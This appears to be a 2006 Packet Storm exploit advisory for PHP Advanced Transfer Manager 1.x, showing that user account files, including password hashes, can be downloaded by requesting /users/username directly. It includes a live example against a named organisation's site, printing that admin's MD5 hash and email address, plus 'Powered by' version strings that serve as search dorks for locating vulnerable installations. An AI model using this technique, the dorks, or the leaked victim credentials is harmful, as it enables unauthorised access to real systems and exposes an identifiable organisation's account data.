patm.txt

2006-03-03T00:00:00
ID PACKETSTORM:44334
Type packetstorm
Reporter Liz0ziM
Modified 2006-03-03T00:00:00

Description

                                        
                                            `PHP Advanced Transfer Manager Download users password hashes   
  
PHP Advanced Transfer Manager 1.*  
  
Site:http://phpatm.free.fr/  
----------------------------------------------------  
Bugs:  
  
http://victim.com/path/users/username  
----------------------------------------------------  
example:  
  
http://www.sarima.co.za/doclib/users/Admin  
  
  
3a23bb515e06d0e944ff916e79a7775c ------>md5  
0  
sarima@sarima.co.za  
0  
1  
  
1  
1026836078  
en   
  
  
----------------------------------------------------  
  
Vulnerabilities :  
"Powered by PHP Advanced Transfer Manager v1.00"  
"Powered by PHP Advanced Transfer Manager v1.01"  
"Powered by PHP Advanced Transfer Manager v1.02"  
"Powered by PHP Advanced Transfer Manager v1.03"  
"Powered by PHP Advanced Transfer Manager v1.22"  
"Powered by PHP Advanced Transfer Manager v1.21"  
"Powered by PHP Advanced Transfer Manager v1.20"  
"Powered by PHP Advanced Transfer Manager v1.30"  
-----------------------------------------------------  
Credit :Liz0ziM  
Website:www.biyosecurity.com  
Mail :liz0@bsdmail.com  
  
------------------------------------------------------  
  
Source:  
  
http://www.blogcu.com/Liz0ziM/316652/  
http://biyosecurity.be/bugs/patm.txt  
`